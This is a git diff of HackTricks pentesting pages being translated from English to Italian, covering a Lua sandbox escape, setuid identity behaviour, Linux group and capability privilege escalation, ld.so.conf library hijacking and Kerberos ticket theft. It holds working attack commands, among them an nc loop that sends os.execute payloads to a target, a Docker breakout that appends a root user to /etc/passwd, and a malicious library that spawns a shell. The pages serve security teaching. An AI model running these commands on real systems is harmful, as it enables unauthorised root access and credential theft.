-Enumerate functions of a library: - +Elenca le funzioni di una libreria: ```bash for k,v in pairs(string) do print(k,v) end ``` - -Note that every time you execute the previous one liner in a **different lua environment the order of the functions change**. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library: - +Nota che ogni volta che esegui il precedente one liner in un **ambiente lua diverso, l'ordine delle funzioni cambia**. Pertanto, se hai bisogno di eseguire una funzione specifica, puoi effettuare un attacco di forza bruta caricando diversi ambienti lua e chiamando la prima funzione della libreria: ```bash #In this scenario you could BF the victim that is generating a new lua environment #for every interaction with the following line and when you are lucky @@ -278,15 +249,12 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end #and "char" from string library, and the use both to execute a command for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done ``` - -**Get interactive lua shell**: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling: - +**Ottieni una shell lua interattiva**: Se sei all'interno di una shell lua limitata, puoi ottenere una nuova shell lua (e sperabilmente illimitata) chiamando: ```bash debug.debug() ``` +## Riferimenti -## References - -- [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slides: [https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions\_-_Bucsay_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)) +- [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Diapositive: [https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions\_-_Bucsay_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/euid-ruid-suid.md b/src/linux-hardening/privilege-escalation/euid-ruid-suid.md index f9846b44b..f26dd64d2 100644 --- a/src/linux-hardening/privilege-escalation/euid-ruid-suid.md +++ b/src/linux-hardening/privilege-escalation/euid-ruid-suid.md @@ -2,88 +2,80 @@ {{#include ../../banners/hacktricks-training.md}} -
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +### Variabili di Identificazione Utente -{% embed url="https://academy.8ksec.io/" %} +- **`ruid`**: L'**ID utente reale** denota l'utente che ha avviato il processo. +- **`euid`**: Conosciuto come l'**ID utente efficace**, rappresenta l'identità dell'utente utilizzata dal sistema per determinare i privilegi del processo. Generalmente, `euid` rispecchia `ruid`, tranne in casi come l'esecuzione di un binario SetUID, dove `euid` assume l'identità del proprietario del file, concedendo così specifici permessi operativi. +- **`suid`**: Questo **ID utente salvato** è fondamentale quando un processo ad alto privilegio (tipicamente in esecuzione come root) deve temporaneamente rinunciare ai propri privilegi per eseguire determinate operazioni, per poi riprendere successivamente il proprio stato elevato iniziale. -### User Identification Variables +#### Nota Importante -- **`ruid`**: The **real user ID** denotes the user who initiated the process. -- **`euid`**: Known as the **effective user ID**, it represents the user identity utilized by the system to ascertain process privileges. Generally, `euid` mirrors `ruid`, barring instances like a SetUID binary execution, where `euid` assumes the file owner's identity, thus granting specific operational permissions. -- **`suid`**: This **saved user ID** is pivotal when a high-privilege process (typically running as root) needs to temporarily relinquish its privileges to perform certain tasks, only to later reclaim its initial elevated status. +Un processo che non opera come root può modificare il proprio `euid` solo per farlo corrispondere all'attuale `ruid`, `euid` o `suid`. -#### Important Note +### Comprendere le Funzioni set\*uid -A process not operating under root can only modify its `euid` to match the current `ruid`, `euid`, or `suid`. +- **`setuid`**: Contrariamente alle assunzioni iniziali, `setuid` modifica principalmente `euid` piuttosto che `ruid`. Specificamente, per i processi privilegiati, allinea `ruid`, `euid` e `suid` con l'utente specificato, spesso root, consolidando effettivamente questi ID a causa del `suid` sovrascrivente. Ulteriori dettagli possono essere trovati nella [pagina man di setuid](https://man7.org/linux/man-pages/man2/setuid.2.html). +- **`setreuid`** e **`setresuid`**: Queste funzioni consentono un aggiustamento sfumato di `ruid`, `euid` e `suid`. Tuttavia, le loro capacità dipendono dal livello di privilegio del processo. Per i processi non root, le modifiche sono limitate ai valori attuali di `ruid`, `euid` e `suid`. Al contrario, i processi root o quelli con la capacità `CAP_SETUID` possono assegnare valori arbitrari a questi ID. Maggiori informazioni possono essere ottenute dalla [pagina man di setresuid](https://man7.org/linux/man-pages/man2/setresuid.2.html) e dalla [pagina man di setreuid](https://man7.org/linux/man-pages/man2/setreuid.2.html). -### Understanding set\*uid Functions +Queste funzionalità non sono progettate come un meccanismo di sicurezza, ma per facilitare il flusso operativo previsto, come quando un programma adotta l'identità di un altro utente modificando il proprio ID utente efficace. -- **`setuid`**: Contrary to initial assumptions, `setuid` primarily modifies `euid` rather than `ruid`. Specifically, for privileged processes, it aligns `ruid`, `euid`, and `suid` with the specified user, often root, effectively solidifying these IDs due to the overriding `suid`. Detailed insights can be found in the [setuid man page](https://man7.org/linux/man-pages/man2/setuid.2.html). -- **`setreuid`** and **`setresuid`**: These functions allow for the nuanced adjustment of `ruid`, `euid`, and `suid`. However, their capabilities are contingent on the process's privilege level. For non-root processes, modifications are restricted to the current values of `ruid`, `euid`, and `suid`. In contrast, root processes or those with `CAP_SETUID` capability can assign arbitrary values to these IDs. More information can be gleaned from the [setresuid man page](https://man7.org/linux/man-pages/man2/setresuid.2.html) and the [setreuid man page](https://man7.org/linux/man-pages/man2/setreuid.2.html). +È importante notare che, mentre `setuid` potrebbe essere una scelta comune per l'elevazione dei privilegi a root (poiché allinea tutti gli ID a root), differenziare tra queste funzioni è cruciale per comprendere e manipolare i comportamenti degli ID utente in vari scenari. -These functionalities are designed not as a security mechanism but to facilitate the intended operational flow, such as when a program adopts another user's identity by altering its effective user ID. +### Meccanismi di Esecuzione dei Programmi in Linux -Notably, while `setuid` might be a common go-to for privilege elevation to root (since it aligns all IDs to root), differentiating between these functions is crucial for understanding and manipulating user ID behaviors in varying scenarios. +#### **Chiamata di Sistema `execve`** -### Program Execution Mechanisms in Linux +- **Funzionalità**: `execve` avvia un programma, determinato dal primo argomento. Prende due argomenti array, `argv` per gli argomenti e `envp` per l'ambiente. +- **Comportamento**: Mantiene lo spazio di memoria del chiamante ma aggiorna lo stack, l'heap e i segmenti di dati. Il codice del programma viene sostituito dal nuovo programma. +- **Preservazione dell'ID Utente**: +- `ruid`, `euid` e gli ID di gruppo supplementari rimangono invariati. +- `euid` potrebbe subire modifiche sfumate se il nuovo programma ha impostato il bit SetUID. +- `suid` viene aggiornato da `euid` dopo l'esecuzione. +- **Documentazione**: Informazioni dettagliate possono essere trovate nella [pagina man di `execve`](https://man7.org/linux/man-pages/man2/execve.2.html). -#### **`execve` System Call** +#### **Funzione `system`** -- **Functionality**: `execve` initiates a program, determined by the first argument. It takes two array arguments, `argv` for arguments and `envp` for the environment. -- **Behavior**: It retains the memory space of the caller but refreshes the stack, heap, and data segments. The program's code is replaced by the new program. -- **User ID Preservation**: - - `ruid`, `euid`, and supplementary group IDs remain unaltered. - - `euid` might have nuanced changes if the new program has the SetUID bit set. - - `suid` gets updated from `euid` post-execution. -- **Documentation**: Detailed information can be found on the [`execve` man page](https://man7.org/linux/man-pages/man2/execve.2.html). +- **Funzionalità**: A differenza di `execve`, `system` crea un processo figlio utilizzando `fork` ed esegue un comando all'interno di quel processo figlio utilizzando `execl`. +- **Esecuzione del Comando**: Esegue il comando tramite `sh` con `execl("/bin/sh", "sh", "-c", command, (char *) NULL);`. +- **Comportamento**: Poiché `execl` è una forma di `execve`, opera in modo simile ma nel contesto di un nuovo processo figlio. +- **Documentazione**: Ulteriori approfondimenti possono essere ottenuti dalla [pagina man di `system`](https://man7.org/linux/man-pages/man3/system.3.html). -#### **`system` Function** - -- **Functionality**: Unlike `execve`, `system` creates a child process using `fork` and executes a command within that child process using `execl`. -- **Command Execution**: Executes the command via `sh` with `execl("/bin/sh", "sh", "-c", command, (char *) NULL);`. -- **Behavior**: As `execl` is a form of `execve`, it operates similarly but in the context of a new child process. -- **Documentation**: Further insights can be obtained from the [`system` man page](https://man7.org/linux/man-pages/man3/system.3.html). - -#### **Behavior of `bash` and `sh` with SUID** +#### **Comportamento di `bash` e `sh` con SUID** - **`bash`**: - - Has a `-p` option influencing how `euid` and `ruid` are treated. - - Without `-p`, `bash` sets `euid` to `ruid` if they initially differ. - - With `-p`, the initial `euid` is preserved. - - More details can be found on the [`bash` man page](https://linux.die.net/man/1/bash). +- Ha un'opzione `-p` che influisce su come vengono trattati `euid` e `ruid`. +- Senza `-p`, `bash` imposta `euid` su `ruid` se inizialmente differiscono. +- Con `-p`, l'iniziale `euid` viene preservato. +- Maggiori dettagli possono essere trovati nella [pagina man di `bash`](https://linux.die.net/man/1/bash). - **`sh`**: - - Does not possess a mechanism similar to `-p` in `bash`. - - The behavior concerning user IDs is not explicitly mentioned, except under the `-i` option, emphasizing the preservation of `euid` and `ruid` equality. - - Additional information is available on the [`sh` man page](https://man7.org/linux/man-pages/man1/sh.1p.html). +- Non possiede un meccanismo simile a `-p` in `bash`. +- Il comportamento riguardante gli ID utente non è esplicitamente menzionato, tranne che sotto l'opzione `-i`, enfatizzando la preservazione dell'uguaglianza tra `euid` e `ruid`. +- Ulteriori informazioni sono disponibili sulla [pagina man di `sh`](https://man7.org/linux/man-pages/man1/sh.1p.html). -These mechanisms, distinct in their operation, offer a versatile range of options for executing and transitioning between programs, with specific nuances in how user IDs are managed and preserved. +Questi meccanismi, distinti nel loro funzionamento, offrono una gamma versatile di opzioni per eseguire e passare tra programmi, con specifiche sfumature nel modo in cui gli ID utente vengono gestiti e preservati. -### Testing User ID Behaviors in Executions +### Testare i Comportamenti degli ID Utente nelle Esecuzioni -Examples taken from https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail, check it for further information +Esempi tratti da https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail, controlla per ulteriori informazioni -#### Case 1: Using `setuid` with `system` +#### Caso 1: Utilizzare `setuid` con `system` -**Objective**: Understanding the effect of `setuid` in combination with `system` and `bash` as `sh`. - -**C Code**: +**Obiettivo**: Comprendere l'effetto di `setuid` in combinazione con `system` e `bash` come `sh`. +**Codice C**: ```c #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - system("id"); - return 0; +setuid(1000); +system("id"); +return 0; } ``` - -**Compilation and Permissions:** - +**Compilazione e Permessi:** ```bash oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a; oxdf@hacky$ chmod 4755 /mnt/nfsshare/a @@ -93,132 +85,108 @@ oxdf@hacky$ chmod 4755 /mnt/nfsshare/a bash-4.2$ $ ./a uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**Analisi:** -**Analysis:** +- `ruid` ed `euid` iniziano come 99 (nobody) e 1000 (frank) rispettivamente. +- `setuid` allinea entrambi a 1000. +- `system` esegue `/bin/bash -c id` a causa del symlink da sh a bash. +- `bash`, senza `-p`, regola `euid` per corrispondere a `ruid`, risultando in entrambi a 99 (nobody). -- `ruid` and `euid` start as 99 (nobody) and 1000 (frank) respectively. -- `setuid` aligns both to 1000. -- `system` executes `/bin/bash -c id` due to the symlink from sh to bash. -- `bash`, without `-p`, adjusts `euid` to match `ruid`, resulting in both being 99 (nobody). - -#### Case 2: Using setreuid with system - -**C Code**: +#### Caso 2: Utilizzando setreuid con system +**Codice C**: ```c #define _GNU_SOURCE #include #include int main(void) { - setreuid(1000, 1000); - system("id"); - return 0; +setreuid(1000, 1000); +system("id"); +return 0; } ``` - -**Compilation and Permissions:** - +**Compilazione e Permessi:** ```bash oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b ``` - -**Execution and Result:** - +**Esecuzione e Risultato:** ```bash bash-4.2$ $ ./b uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**Analisi:** -**Analysis:** +- `setreuid` imposta sia ruid che euid a 1000. +- `system` invoca bash, che mantiene gli ID utente a causa della loro uguaglianza, operando effettivamente come frank. -- `setreuid` sets both ruid and euid to 1000. -- `system` invokes bash, which maintains the user IDs due to their equality, effectively operating as frank. - -#### Case 3: Using setuid with execve - -Objective: Exploring the interaction between setuid and execve. +#### Caso 3: Utilizzo di setuid con execve +Obiettivo: Esplorare l'interazione tra setuid ed execve. ```bash #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - execve("/usr/bin/id", NULL, NULL); - return 0; +setuid(1000); +execve("/usr/bin/id", NULL, NULL); +return 0; } ``` - -**Execution and Result:** - +**Esecuzione e Risultato:** ```bash bash-4.2$ $ ./c uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**Analisi:** -**Analysis:** - -- `ruid` remains 99, but euid is set to 1000, in line with setuid's effect. - -**C Code Example 2 (Calling Bash):** +- `ruid` rimane 99, ma euid è impostato su 1000, in linea con l'effetto di setuid. +**Esempio di codice C 2 (Chiamando Bash):** ```bash #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - execve("/bin/bash", NULL, NULL); - return 0; +setuid(1000); +execve("/bin/bash", NULL, NULL); +return 0; } ``` - -**Execution and Result:** - +**Esecuzione e Risultato:** ```bash bash-4.2$ $ ./d bash-4.2$ $ id uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**Analisi:** -**Analysis:** - -- Although `euid` is set to 1000 by `setuid`, `bash` resets euid to `ruid` (99) due to the absence of `-p`. - -**C Code Example 3 (Using bash -p):** +- Anche se `euid` è impostato a 1000 da `setuid`, `bash` ripristina `euid` a `ruid` (99) a causa dell'assenza di `-p`. +**Esempio di codice C 3 (Utilizzando bash -p):** ```bash #define _GNU_SOURCE #include #include int main(void) { - char *const paramList[10] = {"/bin/bash", "-p", NULL}; - setuid(1000); - execve(paramList[0], paramList, NULL); - return 0; +char *const paramList[10] = {"/bin/bash", "-p", NULL}; +setuid(1000); +execve(paramList[0], paramList, NULL); +return 0; } ``` - -**Execution and Result:** - +**Esecuzione e Risultato:** ```bash bash-4.2$ $ ./e bash-4.2$ $ id uid=99(nobody) gid=99(nobody) euid=100 ``` - -## References +## Riferimenti - [https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail) -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 785a2ce36..d7372863d 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -6,7 +6,7 @@ ### **PE - Metodo 1** -**A volte**, **per impostazione predefinita (o perché alcuni software ne hanno bisogno)** all'interno del file **/etc/sudoers** puoi trovare alcune di queste righe: +**A volte**, **per impostazione predefinita (o perché qualche software ne ha bisogno)** all'interno del **/etc/sudoers** file puoi trovare alcune di queste righe: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -26,7 +26,7 @@ Trova tutti i binari suid e controlla se c'è il binario **Pkexec**: ```bash find / -perm -4000 2>/dev/null ``` -Se scopri che il binario **pkexec è un binario SUID** e appartieni a **sudo** o **admin**, probabilmente potresti eseguire binari come sudo utilizzando `pkexec`.\ +Se scopri che il binario **pkexec è un binario SUID** e appartieni a **sudo** o **admin**, probabilmente potresti eseguire binari come sudo usando `pkexec`.\ Questo perché tipicamente questi sono i gruppi all'interno della **politica polkit**. Questa politica identifica fondamentalmente quali gruppi possono utilizzare `pkexec`. Controllalo con: ```bash cat /etc/polkit-1/localauthority.conf.d/* @@ -88,7 +88,7 @@ $ echo $PATH ``` Se riusciamo a dirottare alcuni programmi in `/usr/local`, possiamo facilmente ottenere i privilegi di root. -Dirottare il programma `run-parts` è un modo semplice per ottenere i privilegi di root, perché la maggior parte dei programmi eseguirà un `run-parts` come (crontab, quando si effettua il login ssh). +Dirottare il programma `run-parts` è un modo semplice per ottenere il root, perché la maggior parte dei programmi eseguirà un `run-parts` come (crontab, quando si effettua il login ssh). ```bash $ cat /etc/crontab | grep run-parts 17 * * * * root cd / && run-parts --report /etc/cron.hourly @@ -96,7 +96,7 @@ $ cat /etc/crontab | grep run-parts 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } ``` -o Quando si effettua il login a una nuova sessione ssh. +o Quando si effettua il login in una nuova sessione ssh. ```bash $ pspy64 2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2] @@ -163,7 +163,7 @@ Il **gruppo video** ha accesso per visualizzare l'output dello schermo. Fondamen cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` -Per **aprire** l'**immagine raw** puoi usare **GIMP**, selezionare il **`screen.raw`** file e selezionare come tipo di file **Raw image data**: +Per **aprire** l'**immagine raw** puoi usare **GIMP**, selezionare il **`screen.raw`** file e selezionare come tipo di file **Dati immagine raw**: ![](<../../../images/image (463).png>) @@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null ``` ## Gruppo Docker -Puoi **montare il filesystem root della macchina host su un volume dell'istanza**, così quando l'istanza si avvia carica immediatamente un `chroot` in quel volume. Questo ti dà effettivamente i privilegi di root sulla macchina. +Puoi **montare il filesystem root della macchina host su un volume dell'istanza**, in modo che quando l'istanza si avvia carichi immediatamente un `chroot` in quel volume. Questo ti dà effettivamente i privilegi di root sulla macchina. ```bash docker image #Get images from the docker service @@ -193,13 +193,13 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` -Infine, se non ti piacciono nessuna delle suggerimenti precedenti, o non funzionano per qualche motivo (firewall dell'api docker?) puoi sempre provare a **eseguire un container privilegiato e fuggire da esso** come spiegato qui: +Infine, se non ti piacciono nessuna delle suggerimenti precedenti, o non funzionano per qualche motivo (firewall dell'api docker?), potresti sempre provare a **eseguire un container privilegiato e fuggire da esso** come spiegato qui: {{#ref}} ../docker-security/ {{#endref}} -Se hai permessi di scrittura sul socket docker leggi [**questo post su come escalare i privilegi abusando del socket docker**](../#writable-docker-socket)**.** +Se hai permessi di scrittura sul socket docker leggi [**questo post su come elevare i privilegi abusando del socket docker**](../#writable-docker-socket)**.** {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} @@ -219,6 +219,6 @@ Pertanto, se hai compromesso un utente all'interno di questo gruppo dovresti sic ## Gruppo Auth All'interno di OpenBSD il gruppo **auth** di solito può scrivere nelle cartelle _**/etc/skey**_ e _**/var/db/yubikey**_ se vengono utilizzate.\ -Questi permessi possono essere abusati con il seguente exploit per **escalare i privilegi** a root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) +Questi permessi possono essere abusati con il seguente exploit per **elevare i privilegi** a root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md index 9c9fd8a51..d1b4a609a 100644 --- a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md +++ b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md @@ -81,7 +81,7 @@ printf("I'm the bad library\n"); system("/bin/sh",NULL,NULL); } ``` -Ora che abbiamo **creato la libreria maligna libcustom all'interno del percorso mal configurato**, dobbiamo aspettare un **riavvio** o che l'utente root esegua **`ldconfig`** (_nel caso tu possa eseguire questo binario come **sudo** o abbia il **bit suid** potrai eseguirlo tu stesso_). +Ora che abbiamo **creato la libreria maligna libcustom all'interno del percorso mal configurato**, dobbiamo aspettare un **riavvio** o che l'utente root esegua **`ldconfig`** (_nel caso tu possa eseguire questo binario come **sudo** o abbia il **suid bit** potrai eseguirlo tu stesso_). Una volta che ciò è accaduto, **ricontrolla** da dove l'eseguibile `sharevuln` sta caricando la libreria `libcustom.so`: ```c @@ -91,7 +91,7 @@ libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) /lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) ``` -Come puoi vedere, **lo sta caricando da `/home/ubuntu/lib`** e se un utente lo esegue, verrà eseguita una shell: +Come puoi vedere, sta **caricando da `/home/ubuntu/lib`** e se un utente lo esegue, verrà eseguita una shell: ```c $ ./sharedvuln Welcome to my amazing application! @@ -105,7 +105,7 @@ ubuntu ### Altre misconfigurazioni - Stessa vulnerabilità Nell'esempio precedente abbiamo simulato una misconfigurazione in cui un amministratore **ha impostato una cartella non privilegiata all'interno di un file di configurazione in `/etc/ld.so.conf.d/`**.\ -Ma ci sono altre misconfigurazioni che possono causare la stessa vulnerabilità; se hai **permessi di scrittura** in qualche **file di configurazione** all'interno di `/etc/ld.so.conf.d`, nella cartella `/etc/ld.so.conf.d` o nel file `/etc/ld.so.conf` puoi configurare la stessa vulnerabilità e sfruttarla. +Ma ci sono altre misconfigurazioni che possono causare la stessa vulnerabilità; se hai **permessi di scrittura** in qualche **file di configurazione** all'interno di `/etc/ld.so.conf.d`, nella cartella `/etc/ld.so.conf.d` o nel file `/etc/ld.so.conf`, puoi configurare la stessa vulnerabilità e sfruttarla. ## Exploit 2 @@ -118,7 +118,7 @@ echo "include /tmp/conf/*" > fake.ld.so.conf echo "/tmp" > conf/evil.conf ``` Ora, come indicato nel **precedente exploit**, **crea la libreria malevola all'interno di `/tmp`**.\ -E infine, carichiamo il percorso e controlliamo da dove il binario sta caricando la libreria: +E infine, carichiamo il percorso e verifichiamo da dove il binario sta caricando la libreria: ```bash ldconfig -f fake.ld.so.conf diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index 7ec7fdf6d..09ce7a20f 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -53,7 +53,7 @@ export KRB5CCNAME=/tmp/krb5cc_1000 **I ticket Kerberos memorizzati nella memoria di un processo possono essere estratti**, in particolare quando la protezione ptrace della macchina è disabilitata (`/proc/sys/kernel/yama/ptrace_scope`). Uno strumento utile per questo scopo si trova su [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), che facilita l'estrazione iniettando nelle sessioni e dumpando i ticket in `/tmp`. -Per configurare e utilizzare questo strumento, si seguono i seguenti passaggi: +Per configurare e utilizzare questo strumento, si seguono i passaggi seguenti: ```bash git clone https://github.com/TarlogicSecurity/tickey cd tickey/tickey @@ -83,12 +83,12 @@ klist -k /etc/krb5.keytab Le chiavi degli account di servizio, essenziali per i servizi che operano con privilegi di root, sono archiviate in modo sicuro nei file **`/etc/krb5.keytab`**. Queste chiavi, simili a password per i servizi, richiedono una stretta riservatezza. -Per ispezionare il contenuto del file keytab, si può utilizzare **`klist`**. Lo strumento è progettato per visualizzare i dettagli delle chiavi, inclusa la **NT Hash** per l'autenticazione degli utenti, in particolare quando il tipo di chiave è identificato come 23. +Per ispezionare il contenuto del file keytab, si può utilizzare **`klist`**. Lo strumento è progettato per visualizzare i dettagli delle chiavi, inclusa l'**NT Hash** per l'autenticazione degli utenti, in particolare quando il tipo di chiave è identificato come 23. ```bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab # Output includes service principal details and the NT Hash ``` -Per gli utenti Linux, **`KeyTabExtract`** offre funzionalità per estrarre l'hash RC4 HMAC, che può essere utilizzato per il riutilizzo dell'hash NTLM. +Per gli utenti Linux, **`KeyTabExtract`** offre funzionalità per estrarre l'hash RC4 HMAC, che può essere sfruttato per il riutilizzo dell'hash NTLM. ```bash python3 keytabextract.py krb5.keytab # Expected output varies based on hash availability diff --git a/src/linux-hardening/privilege-escalation/linux-capabilities.md b/src/linux-hardening/privilege-escalation/linux-capabilities.md index a6cffcfd6..4a6c6982d 100644 --- a/src/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/src/linux-hardening/privilege-escalation/linux-capabilities.md @@ -126,9 +126,9 @@ $ capsh --decode=0000000000003000 Come puoi vedere, le capacità fornite corrispondono ai risultati dei 2 modi per ottenere le capacità di un binario.\ Lo strumento _getpcaps_ utilizza la chiamata di sistema **capget()** per interrogare le capacità disponibili per un particolare thread. Questa chiamata di sistema ha bisogno solo di fornire il PID per ottenere ulteriori informazioni. -### Capacità dei binari +### Capacità dei Binaries -I binari possono avere capacità che possono essere utilizzate durante l'esecuzione. Ad esempio, è molto comune trovare il binario `ping` con la capacità `cap_net_raw`: +I binaries possono avere capacità che possono essere utilizzate durante l'esecuzione. Ad esempio, è molto comune trovare il binario `ping` con la capacità `cap_net_raw`: ```bash getcap /usr/bin/ping /usr/bin/ping = cap_net_raw+ep @@ -279,7 +279,7 @@ Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip > [!CAUTION] > Puoi **aggiungere solo le capacità che sono presenti** sia nei set permessi che in quelli ereditabili. -### Binaries consapevoli delle capacità/Binaries non consapevoli delle capacità +### Binaries consapevoli delle capacità / Binaries non consapevoli delle capacità I **binaries consapevoli delle capacità non utilizzeranno le nuove capacità** fornite dall'ambiente, tuttavia i **binaries non consapevoli delle capacità le utilizzeranno** poiché non le rifiuteranno. Questo rende i binaries non consapevoli delle capacità vulnerabili all'interno di un ambiente speciale che concede capacità ai binaries. @@ -356,7 +356,7 @@ allora **quel binario verrà eseguito come root**. ## CAP_SYS_ADMIN -**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** è una capacità Linux altamente potente, spesso equiparata a un livello quasi root a causa dei suoi ampi **privilegi amministrativi**, come il montaggio di dispositivi o la manipolazione delle funzionalità del kernel. Sebbene sia indispensabile per i container che simulano interi sistemi, **`CAP_SYS_ADMIN` presenta sfide di sicurezza significative**, specialmente negli ambienti containerizzati, a causa del suo potenziale per l'escalation dei privilegi e il compromesso del sistema. Pertanto, il suo utilizzo richiede valutazioni di sicurezza rigorose e una gestione cauta, con una forte preferenza per la rimozione di questa capacità nei container specifici per le applicazioni per aderire al **principio del minimo privilegio** e ridurre al minimo la superficie di attacco. +**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** è una capacità Linux altamente potente, spesso equiparata a un livello quasi root a causa dei suoi ampi **privilegi amministrativi**, come il montaggio di dispositivi o la manipolazione delle funzionalità del kernel. Sebbene sia indispensabile per i container che simulano interi sistemi, **`CAP_SYS_ADMIN` presenta sfide di sicurezza significative**, specialmente negli ambienti containerizzati, a causa del suo potenziale per l'escalation dei privilegi e il compromesso del sistema. Pertanto, il suo utilizzo richiede valutazioni di sicurezza rigorose e una gestione cauta, con una forte preferenza per la rimozione di questa capacità nei container specifici per le applicazioni per aderire al **principio del minimo privilegio** e ridurre la superficie di attacco. **Esempio con binario** ```bash @@ -434,9 +434,9 @@ ssh john@172.17.0.1 -p 2222 ``` ## CAP_SYS_PTRACE -**Questo significa che puoi sfuggire al container iniettando un shellcode all'interno di un processo in esecuzione all'interno dell'host.** Per accedere ai processi in esecuzione all'interno dell'host, il container deve essere eseguito almeno con **`--pid=host`**. +**Questo significa che puoi sfuggire al contenitore iniettando un shellcode all'interno di un processo in esecuzione all'interno dell'host.** Per accedere ai processi in esecuzione all'interno dell'host, il contenitore deve essere eseguito almeno con **`--pid=host`**. -**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** concede la possibilità di utilizzare funzionalità di debug e tracciamento delle chiamate di sistema fornite da `ptrace(2)` e chiamate di attacco alla memoria incrociata come `process_vm_readv(2)` e `process_vm_writev(2)`. Sebbene sia potente per scopi diagnostici e di monitoraggio, se `CAP_SYS_PTRACE` è abilitato senza misure restrittive come un filtro seccomp su `ptrace(2)`, può compromettere significativamente la sicurezza del sistema. In particolare, può essere sfruttato per eludere altre restrizioni di sicurezza, in particolare quelle imposte da seccomp, come dimostrato da [proofs of concept (PoC) come questo](https://gist.github.com/thejh/8346f47e359adecd1d53). +**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** concede la possibilità di utilizzare funzionalità di debug e tracciamento delle chiamate di sistema fornite da `ptrace(2)` e chiamate di attacco incrociato della memoria come `process_vm_readv(2)` e `process_vm_writev(2)`. Sebbene sia potente per scopi diagnostici e di monitoraggio, se `CAP_SYS_PTRACE` è abilitato senza misure restrittive come un 